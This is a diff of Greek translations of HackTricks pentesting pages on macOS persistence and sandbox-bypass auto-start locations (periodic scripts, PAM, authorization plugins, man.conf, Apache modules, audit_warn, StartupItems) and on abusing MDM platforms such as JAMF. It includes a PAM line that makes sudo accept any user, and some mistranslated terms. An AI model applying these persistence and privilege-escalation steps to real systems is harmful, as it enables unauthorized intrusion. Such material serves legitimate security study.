@ -1191,7 +1193,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
## Παράκαμψη Αμμοθονίου Root
{% hint style="success" %}
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για **παράκαμψη αμμοθονίου** που σάς επιτρέπουν να απλά εκτελέσετε κάτι με το να **το γράψετε σε ένα αρχείο** ως **root** και/ή απαιτώντας άλλες **περίεργες συνθήκες.**
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για παράκαμψη αμμοθονίου που σάς επιτρέπουν να απλά εκτελέσετε κάτι γράφοντάς το σε ένα αρχείο ως χρήστης root και/ή απαιτώντας άλλες περίεργες συνθήκες.
{% endhint %}
### Περιοδικός
@ -1199,21 +1201,21 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
* Χρήσιμο για παράκαμψη αμμοθονίου: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά χρειάζεστε root
* Αλλά χρειάζεστε δικαιώματα root
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Τοποθεσία
* `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic`
* Απαιτείται root
* Απαιτούνται δικαιώματα root
* **Ενεργοποίηση**: Όταν έρθει η ώρα
* `/etc/daily.local`, `/etc/weekly.local` ή `/etc/monthly.local`
* Απαιτείται root
* Απαιτούνται δικαιώματα root
* **Ενεργοποίηση**: Όταν έρθει η ώρα
#### Περιγραφή & Εκμετάλλευση
Τα περιοδικά scripts (**`/etc/periodic`**) εκτελούνται λόγω των **launch daemons** που έχουν διαμορφωθεί στο `/System/Library/LaunchDaemons/com.apple.periodic*`. Σημειώστε ότι τα scripts που αποθηκεύονται στο `/etc/periodic/` εκτελούνται ως ο **κάτοχος του αρχείου,** οπότε αυτό δεν θα λειτουργήσει για μια πιθανή ανόδο ικανοτήτων.
Τα περιοδικά scripts (**`/etc/periodic`**) εκτελούνται λόγω των **launch daemons** που έχουν διαμορφωθεί στο `/System/Library/LaunchDaemons/com.apple.periodic*`. Σημειώστε ότι τα scripts που αποθηκεύονται στο `/etc/periodic/` εκτελούνται ως ο ιδιοκτήτης του αρχείου, οπότε αυτό δεν θα λειτουργήσει για πιθανή ανόδο ικανοτήτων. {% code overflow="wrap" %}
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
@ -1256,31 +1258,31 @@ monthly_local="/etc/monthly.local" # Local scripts
Εάν καταφέρετε να γράψετε οποιοδήποτε από τα αρχεία `/etc/daily.local`, `/etc/weekly.local` ή `/etc/monthly.local` θα **εκτελεστεί νωρίτερα ή αργότερα**.
{% hint style="warning" %}
Σημειώστε ότι το περιοδικό script θα **εκτελεστεί ως ο ιδιοκτήτης του script**. Έτσι, εάν ένας κανονικός χρήστης είναι ιδιοκτήτης του script, θα εκτελεστεί ως αυτός ο χρήστης (κάτι που μπορεί να αποτρέψει επιθέσεις εξάρτησης από δικαιώματα).
Σημειώστε ότι το περιοδικό script θα **εκτελεστεί ως ο ιδιοκτήτης του script**. Έτσι, εάν ένας κανονικός χρήστης είναι ιδιοκτήτης του script, θα εκτελεστεί ως αυτός ο χρήστης (κάτι που μπορεί να αποτρέψει επιθέσεις εξάρτησης από προνομιακά δικαιώματα).
{% endhint %}
### PAM
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
Ανάλυση: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
* Χρήσιμο για παράκαμψη αμμόλοφου: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά χρειάζεστε δικαιώματα ρίζας
* Χρήσιμο για παράκαμψη αμμουδιάς: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά χρειάζεστε root
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Τοποθεσία
* Πάντα απαιτείται ρίζα
* Πάντα απαιτείται root
#### Περιγραφή & Εκμετάλλευση
Καθώς το PAM είναι περισσότερο εστιασμένο στη **μόνιμη διατήρηση** και το malware παρά στην εύκολη εκτέλεση μέσα στο macOS, αυτό το blog δεν θα δώσει μια λεπτομερή εξήγηση, **διαβάστε τα writeups για να κατανοήσετε καλύτερα αυτή την τεχνική**.
Καθώς το PAM είναι περισσότερο εστιασμένο στη **μόνιμη διατήρηση** και το malware παρά στην εύκολη εκτέλεση μέσα στο macOS, αυτό το blog δεν θα δώσει μια λεπτομερή εξήγηση, **διαβάστε τις αναλύσεις για να κατανοήσετε καλύτερα αυτή την τεχνική**.
Ελέγξτε τα modules PAM με:
```bash
ls -l /etc/pam.d
```
Μια τεχνική διατήρησης/ανόδου προνομίων που καταχράται το PAM είναι τόσο εύκολη όσο το να τροποποιήσετε το module /etc/pam.d/sudo προσθέτοντας στην αρχή τη γραμμή:
Μια τεχνική διατήρησης/ανόδου προνομίων που καταχράζεται το PAM είναι τόσο εύκολη όσο η τροποποίηση του module /etc/pam.d/sudo προσθέτοντας στην αρχή τη γραμμή:
```bash
auth sufficient pam_permit.so
```
@ -1314,7 +1316,7 @@ session required pam_permit.so
* `/Library/Security/SecurityAgentPlugins/`
* Απαιτείται ρίζα
* Απαιτείται επίσης να ρυθμίσετε τη βάση δεδομένων εξουσιοδότησης για να χρησιμοποιήσει το πρόσθετο
* Απαιτείται επίσης να διαμορφώσετε τη βάση δεδομένων εξουσιοδότησης για να χρησιμοποιήσει το πρόσθετο
#### Περιγραφή & Εκμετάλλευση
@ -1356,7 +1358,7 @@ EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
Το **`evaluate-mechanisms`** θα ειδοποιήσει το πλαίσιο εξουσιοδότησης ότι θα χρειαστεί να **καλέσει ένα εξωτερικό μηχανισμό για εξουσιοδότηση**. Επιπλέον, το **`privileged`** θα κάνει την εκτέλεσή του από τον χρήστη root.
Το **`evaluate-mechanisms`** θα ειδοποιήσει το πλαίσιο εξουσιοδότησης ότι θα χρειαστεί να **καλέσει ένα εξωτερικό μηχανισμό για εξουσιοδότηση**. Επιπλέον, το **`privileged`** θα κάνει την εκτέλεσή του από τον ριζικό χρήστη.
Ενεργοποίησέ το με:
```bash
@ -1368,8 +1370,8 @@ security authorize com.asdf.asdf
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
* Χρήσιμο για παράκαμψη αμμοθονίου: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά πρέπει να είστε ριζικός χρήστης και ο χρήστης πρέπει να χρησιμοποιεί το man
* Χρήσιμο για παράκαμψη αμμουδιάς: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά πρέπει να είστε ριζοχρήστης και ο χρήστης πρέπει να χρησιμοποιεί το man
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Τοποθεσία
@ -1380,7 +1382,7 @@ security authorize com.asdf.asdf
#### Περιγραφή & Εκμετάλλευση
Το αρχείο ρυθμίσεων **`/private/etc/man.conf`** υποδεικνύει το δυαδικό/σενάριο που θα χρησιμοποιηθεί όταν ανοίγονται αρχεία τεκμηρίωσης man. Έτσι, το μονοπάτι προς το εκτελέσιμο μπορεί να τροποποιηθεί έτσι ώστε κάθε φορά που ο χρήστης χρησιμοποιεί το man για να διαβάσει κάποια έγγραφα, να εκτελείται ένα παρασκήνιο.
Το αρχείο ρύθμισης **`/private/etc/man.conf`** υποδεικνύει το δυαδικό/σενάριο που θα χρησιμοποιηθεί όταν ανοίγονται αρχεία τεκμηρίωσης man. Έτσι, το μονοπάτι προς το εκτελέσιμο μπορεί να τροποποιηθεί έτσι ώστε κάθε φορά που ο χρήστης χρησιμοποιεί το man για να διαβάσει κάποια έγγραφα, να εκτελείται ένα backdoor.
Για παράδειγμα, ορίστε στο **`/private/etc/man.conf`**:
```
@ -1398,7 +1400,7 @@ touch /tmp/manconf
**Ανάλυση**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
* Χρήσιμο για παράκαμψη αμμουδιάς: [🟠](https://emojipedia.org/large-orange-circle)
* Χρήσιμο για παράκαμψη αμμοθονίου: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά χρειάζεστε δικαιώματα ρίζας και ο Apache πρέπει να εκτελείται
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
* Το Httpd δεν έχει δικαιώματα
@ -1419,7 +1421,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
Με αυτόν τον τρόπο, τα μεταγλωττισμένα σας modules θα φορτωθούν από τον Apache. Το μόνο που χρειάζεται είναι είτε να το **υπογράψετε με ένα έγκυρο πιστοποιητικό της Apple**, είτε να **προσθέσετε ένα νέο αξιόπιστο πιστοποιητικό** στο σύστημα και να το **υπογράψετε** με αυτό.
Στη συνέχεια, αν χρειαστεί, για να εξασφαλίσετε ότι ο εξυπηρετητής θα ξεκινήσει, μπορείτε να εκτελέσετε:
Στη συνέχεια, αν χρειαστεί, για να εξασφαλίσετε ότι ο διακομιστής θα ξεκινήσει, μπορείτε να εκτελέσετε:
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
@ -1435,43 +1437,38 @@ printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
```
### Πλαίσιο ελέγχου BSM audit
### Πλαίσιο ελέγχου BSM
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
* Χρήσιμο για παράκαμψη του sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Αλλά χρειάζεστε δικαιώματα root, το auditd να εκτελείται και να προκαλεί μια προειδοποίηση
* Αλλά χρειάζεστε δικαιώματα ρίζας, το auditd να εκτελείται και να προκαλεί μια προειδοποίηση
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Τοποθεσία
* **`/etc/security/audit_warn`**
* Απαιτούνται δικαιώματα root
* Απαιτούνται δικαιώματα ρίζας
* **Ενεργοποίηση**: Όταν το auditd ανιχνεύει μια προειδοποίηση
#### Περιγραφή & Εκμετάλλευση
Κάθε φορά που το auditd ανιχνεύει μια προειδοποίηση, το σενάριο **`/etc/security/audit_warn`** **εκτελείται**. Έτσι μπορείτε να προσθέσετε το payload σας σε αυτό.
Κάθε φορά που το auditd ανιχνεύει μια προειδοποίηση, το σενάριο **`/etc/security/audit_warn`** **εκτελείται**. Έτσι μπορείτε να προσθέσετε το φορτίο σας σε αυτό.
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
Μπορείτε να επιβάλετε έναν προειδοποιητικό μηχανισμό με `sudo audit -n`.
### Στοιχεία Εκκίνησης
{% hint style="danger" %}
**Αυτό έχει αποσυρθεί, οπότε δεν πρέπει να βρεθεί τίποτα σε αυτούς τους καταλόγους.**
{% endhint %}
Το **StartupItem** είναι ένας κατάλογος που πρέπει να βρίσκεται είτε στο `/Library/StartupItems/` είτε στο `/System/Library/StartupItems/`. Μόλις αυτός ο κατάλογος δημιουργηθεί, πρέπει να περιλαμβάνει δύο συγκεκριμένα αρχεία:
Το **StartupItem** είναι ένας κατάλογος που πρέπει να τοποθετηθεί είτε στο `/Library/StartupItems/` είτε στο `/System/Library/StartupItems/`. Μόλις αυτός ο κατάλογος δημιουργηθεί, πρέπει να περιλαμβάνει δύο συγκεκριμένα αρχεία:
1. Ένα **rc script**: Ένα shell script που εκτελείται κατά την εκκίνηση.
2. Ένα αρχείο **plist**, με το συγκεκριμένο όνομα `StartupParameters.plist`, το οποίο περιέχει διάφορες ρυθμίσεις διαμόρφωσης.
Βεβαιωθείτε ότι τόσο το rc script όσο και το αρχείο `StartupParameters.plist` έχουν τοποθετηθεί σωστά μέσα στον κατάλογο **StartupItem** για να τα αναγνωρίσει και να τα χρησιμοποιήσει η διαδικασία εκκίνησης.
{% tabs %}
{% tab title="StartupParameters.plist" %}
Βεβαιωθείτε ότι τόσο το rc script όσο και το αρχείο `StartupParameters.plist` είναι τοποθετημένα σωστά μέσα στον κατάλογο **StartupItem** για να τα αναγνωρίσει και να τα χρησιμοποιήσει η διαδικασία εκκίνησης.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -1492,13 +1489,19 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
{% tab title="superservicename" %}
### Αυτόματη εκκίνηση στο macOS
### Τοποθεσίες Αυτόματης Έναρξης στο macOS
Στο macOS, ορισμένες υπηρεσίες εκκινούν αυτόματα κατά την εκκίνηση του συστήματος. Αυτό μπορεί να είναι χρήσιμο για ορισμένες εφαρμογές, αλλά μπορεί επίσης να αποτελέσει κίνδυνο ασφαλείας εάν κακόβουλο λογισμικό εκμεταλλευτεί αυτήν τη λειτουργία. Ελέγξτε τις ακόλουθες τοποθεσίες για να δείτε ποιες υπηρεσίες εκκινούν αυτόματα στο macOS:
Στο macOS, υπάρχουν διάφορες τοποθεσίες όπου μπορούν να προστεθούν εφαρμογές για να ξεκινούν αυτόματα κατά την εκκίνηση του συστήματος. Αυτές οι τοποθεσίες περιλαμβάνουν:
1. **LaunchAgents:** Οι χρήστες μπορούν να χρησιμοποιήσουν τον φάκελο `~/Library/LaunchAgents/` για να εκκινήσουν υπηρεσίες μόνο για τον συγκεκριμένο χρήστη.
1. **Φάκελος Εκκίνησης (Startup Folder):** Οι εφαρμογές που βρίσκονται σε αυτόν τον φάκελο θα ξεκινήσουν αυτόματα με την εκκίνηση του συστήματος για τον συγκεκριμένο χρήστη.
2. **LaunchDaemons:** Οι υπηρεσίες που εκκινούν αυτόματα για όλους τους χρήστες του συστήματος αποθηκε
2. **Launch Agents και Launch Daemons:** Τα αρχεία που βρίσκονται στα φακέλους `/Library/LaunchAgents`, `/Library/LaunchDaemons`, `~/Library/LaunchAgents` ή `/System/Library/LaunchAgents` μπορούν να χρησιμοποιηθούν για να δημιουργήσουν αυτόματες εκκινήσεις.
3. **Ρυθμίσεις Χρήστη:** Οι ρυθμίσεις στο Μενού Συστήματος > Χρήστες και Ομάδες > Στοιχεία Σύνδεσης μπορούν να περιέχουν εφαρμογές που ξεκινούν αυτόματα.
Ελέγξτε αυτές τις τοποθεσίες για να διαχειριστείτε τις εφαρμογές που ξεκινούν αυτόματα στο macOS και να ενισχύσετε την ασφάλεια του συστήματός σας.
{% endtab %}
```bash
#!/bin/sh
. /etc/rc.common
@ -1546,12 +1549,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
#### Περιγραφή & Εκμετάλλευση
Το XQuartz **δεν είναι πλέον εγκατεστημένο στο macOS**, οπότε αν θέλετε περισσότερες πληροφορίες, ελέγξτε το writeup.
Το XQuartz **δεν εγκαθίσταται πλέον στο macOS**, οπότε αν θέλετε περισσότερες πληροφορίες, ελέγξτε το writeup.
### ~~kext~~
{% hint style="danger" %}
Είναι τόσο περίπλοκο να εγκαταστήσετε το kext ακόμα και ως ρίζα, ώστε δεν θα το θεωρήσω ως μέσο απόδρασης από τις αμμουδιές ή ακόμα και για διατήρηση (εκτός αν έχετε ένα εκμετάλλευση)
Είναι τόσο περίπλοκο να εγκαταστήσετε ένα kext ακόμα και ως ρίζα, ώστε δεν θα το θεωρήσω ως τρόπο απόδρασης από τις αμμοθύες ή ακόμα και για διατήρηση (εκτός αν έχετε ένα εκμετάλλευση)
{% endhint %}
#### Τοποθεσία
@ -1563,7 +1566,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
* `/Library/Extensions`
* Αρχεία KEXT που έχουν εγκατασταθεί από λογισμικό τρίτων
Μπορείτε να εμφανίσετε τα τρέχοντα φορτωμένα αρχεία kext με:
Μπορείτε να εμφανίσετε τα φορτωμένα αρχεία kext με:
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
@ -1571,7 +1574,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
Για περισσότερες πληροφορίες σχετικά με τις [**επεκτάσεις πυρήνα ελέγξτε αυτήν την ενότητα**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
Για περισσότερες πληροφορίες σχετικά με τις [**επεκτάσεις πυρήνα ελέγξτε αυτή την ενότητα**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
### ~~amstoold~~
@ -1584,7 +1587,7 @@ kextunload -b com.apple.driver.ExampleBundle
#### Περιγραφή & Εκμετάλλευση
Φαίνεται ότι το `plist` από το `/System/Library/LaunchAgents/com.apple.amstoold.plist` χρησιμοποιούσε αυτό το δυαδικό ενώ εκθέτοντας ένα XPC service... το πρόβλημα ήταν ότι το δυαδικό δεν υπήρχε, οπότε μπορούσατε να τοποθετήσετε κάτι εκεί και όταν κληθεί το XPC service, το δικό σας δυαδικό θα κληθεί.
Φαίνεται ότι το `plist` από το `/System/Library/LaunchAgents/com.apple.amstoold.plist` χρησιμοποιούσε αυτό το δυαδικό ενώ εκθέτοντας ένα XPC service... το πρόβλημα είναι ότι το δυαδικό δεν υπήρχε, οπότε θα μπορούσατε να τοποθετήσετε κάτι εκεί και όταν κληθεί το XPC service, το δικό σας δυαδικό θα κληθεί.
Δεν μπορώ πλέον να βρω αυτό στο macOS μου.
@ -1596,7 +1599,7 @@ kextunload -b com.apple.driver.ExampleBundle
* **`/Library/Preferences/Xsan/.xsanrc`**
* Απαιτεί δικαιώματα ρίζας
* **Ενεργοποίηση**: Όταν το service τρέχει (σπάνια)
* **Ενεργοποίηση**: Όταν το σέρβις τρέχει (σπάνια)
#### Περιγραφή & εκμετάλλευση
@ -1708,14 +1711,14 @@ esac
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>

View file

@ -2,67 +2,70 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε την κακόβουλη εισβολή στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
## Κατάχρηση των MDMs
## Κατάχρηση MDMs
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
Εάν καταφέρετε να **παραβιάσετε τα διαπιστευτήρια διαχειριστή** για να αποκτήσετε πρόσβαση στην πλατφόρμα διαχείρισης, μπορείτε **πιθανώς να παραβιάσετε όλους τους υπολογιστές** διανέμοντας το malware σας στις μηχανές.
Εάν καταφέρετε να **διαρρεύσετε διαπιστευτήρια διαχειριστή** για πρόσβαση στην πλατφόρμα διαχείρισης, μπορείτε **πιθανώς να διαρρεύσετε όλους τους υπολογιστές** διανέμοντας το malware σας στις συσκευές.
Για το red teaming σε περιβάλλοντα MacOS, συνιστάται ιδιαίτερα να έχετε κάποια κατανόηση του τρόπου λειτουργίας των MDMs:
Για την κακόβουλη εισβολή σε περιβάλλοντα MacOS, συνιστάται ιδιαίτερα να έχετε μια κατανόηση του πώς λειτουργούν τα MDMs:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
{% endcontent-ref %}
### Χρήση του MDM ως C2
### Χρήση MDM ως C2
Ένα MDM θα έχει άδεια να εγκαταστήσει, να ερωτήσει ή να αφαιρέσει προφίλ, να εγκαταστήσει εφαρμογές, να δημιουργήσει τοπικούς λογαριασμούς διαχειριστή, να ορίσει κωδικό πρόσβασης του firmware, να αλλάξει το κλειδί του FileVault...
Ένα MDM θα έχει άδεια να εγκαταστήσει, να ερευνήσει ή να αφαιρέσει προφίλ, να εγκαταστήσει εφαρμογές, να δημιουργήσει τοπικούς λογαριασμούς διαχειριστή, να ορίσει κωδικό πρόσβασης firmware, να αλλάξει το κλειδί FileVault...
Για να εκτελέσετε το δικό σας MDM, χρειάζεστε **το CSR σας να υπογραφεί από έναν προμηθευτή** τον οποίο μπορείτε να προσπαθήσετε να λάβετε από το [**https://mdmcert.download/**](https://mdmcert.download/). Και για να εκτελέσετε το δικό σας MDM για συσκευές Apple, μπορείτε να χρησιμοποιήσετε το [**MicroMDM**](https://github.com/micromdm/micromdm).
Για να τρέξετε το δικό σας MDM, χρειάζεστε το **CSR σας υπογεγραμμένο από έναν προμηθευτή** το οποίο θα μπορούσατε να προσπαθήσετε να λάβετε από το [**https://mdmcert.download/**](https://mdmcert.download/). Και για να τρέξετε το δικό σας MDM για συσκευές Apple μπορείτε να χρησιμοποιήσετε το [**MicroMDM**](https://github.com/micromdm/micromdm).
Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, εξακολουθείτε να χρειάζεστε να υπογραφεί από έναν λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή στο MDM η συσκευή προσθέτει το πιστοποιητικό SSL του MDM ως έμπιστη Αρχή (CA), οπότε τώρα μπορείτε να υπογράψετε οτιδήποτε.
Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, πρέπει ακόμα να είναι υπογεγραμμένη από ένα λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή στο MDM η **συσκευή προσθέτει το πιστοποιητικό SSL του MDM ως έμπιστο CA**, οπότε τώρα μπορείτε να υπογράψετε οτιδήποτε.
Για να εγγράψετε τη συσκευή σε ένα MDM, χρειάζεστε να εγκαταστήσετε ένα αρχείο **`mobileconfig`** ως root, το οποίο μπορεί να παραδοθεί μέσω ενός αρχείου **pkg** (μπορείτε να το συμπιέσετε σε μορφή zip και όταν το κατεβάσετε από το safari θα αποσυμπιεστεί).
Για να εγγράψετε τη συσκευή σε ένα MDM, πρέπει να εγκαταστήσετε ένα αρχείο **`mobileconfig`** ως ριζικός χρήστης, το οποίο θα μπορούσε να παραδοθεί μέσω ενός αρχείου **pkg** (μπορείτε να το συμπιέσετε σε zip και όταν το κατεβάσετε από το safari θα αποσυμπιέσεται).
Ο **Mythic agent Orthrus** χρησιμοποιεί αυτήν την τεχνική.
### Κατάχρηση του JAMF PRO
### Κατάχρηση JAMF PRO
Το JAMF μπορεί να εκτελέσει **προσαρμοσμένα scripts** (scripts που έχουν αναπτυχθεί από τον συστημικό διαχειριστή), **native payloads** (δημιουργία τοπικού λογαριασμού, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διεργασιών...) και **MDM** (διαμορφώσεις συσκευής, πιστοποιητικά συσκευής...).
Το JAMF μπορεί να εκτελέσει **προσαρμοσμένα scripts** (scripts που αναπτύχθηκαν από τον συστημικό διαχειριστή), **φυσικά φορτία** (δημιουργία τοπικών λογαριασμών, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διεργασιών...) και **MDM** (ρυθμίσεις συσκευών, πιστοποιητικά συσκευών...).
#### Αυτοεγγραφή JAMF
#### Αυτο-εγγραφή JAMF
Πηγαίνετε σε μια σελίδα όπως `https://<όνομα-εταιρείας>.jamfcloud.com/enroll/` για να δείτε εάν έχουν ενεργοποιημένη την **αυτοεγγραφή**. Εάν το έχουν, μπορεί να **ζητήσει διαπιστευτήρια πρόσβασης**.
Πηγαίνετε σε μια σελίδα όπως `https://<company-name>.jamfcloud.com/enroll/` για να δείτε αν έχουν ενεργοποιημένη την **αυτό-εγγραφή**. Αν την έχουν, μπορεί **να ζητήσει διαπιστευτήρια για πρόσβαση**.
Μπορείτε να χρησιμοποιήσετε το script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) για να εκτελέσετε μια επίθεση password spraying.
Μπορείτε να χρησιμοποιήσετε το script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) για να πραγματοποιήσετε επίθεση password spraying.
Επιπλέον, αφού βρείτε κατάλληλα διαπιστευτήρια, μπορείτε να δοκιμάσετε να βρείτε με βίαιο τρόπο άλλα ονόματα χρηστών με την επόμενη φόρμα:
Επιπλέον, μετά την εύρεση κατάλληλων διαπιστευτηρίων, μπορείτε να είστε σε θέση να κάνετε brute-force άλλα ονόματα χρηστών με την επόμενη φόρμα:
![](<../../.gitbook/assets/image (7) (1) (1).png>)
#### Πιστοποίηση συσκευής JAMF
#### Ταυτοποίηση συσκευής JAMF
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
